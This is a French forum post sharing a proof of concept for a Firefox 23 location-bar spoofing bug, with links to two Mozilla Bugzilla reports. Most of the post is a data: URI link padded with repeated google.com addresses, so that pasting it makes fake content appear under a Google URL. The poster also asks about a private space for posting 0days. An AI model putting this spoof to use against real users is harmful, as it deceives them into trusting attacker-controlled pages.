Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link

[j0-c]

J'hésite a poster des 0day moderate/high/et critical en publique sur ce forum,
y'a t il un espace private?

je poste quandmême un tout petit spoofing sur Mozilla Firefox 23 qui consiste en spoofer la barre de location avec une adresse de google mais un contenue fake(oui ba un spoofing quoi ;p ).
celui ci conciste a copier un lien et a l'exécuter dans la barre de location ,
L'erreur vient du fait que dans les dernieres version de mozilla c'est la fin de L'URL qui est afficher dans la location_bar quand celle ci est d'une certaine taille et quand bien sure celle-ci est collé puis exécuté dans la location_bar.

Code PHP :

<a href="data:text/html;html,Im not google at all<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20https://www.google.com/__________________________-____">COPY THE LINK and paste in the location bar and go to it</a> 


Mozilla vulnerability bug on bugzilla.mozilla.org :
https://bugzilla.mozilla.org/show_bug.cgi?id=903898
https://bugzilla.mozilla.org/show_bug.cgi?id=893312


Bon test à vous !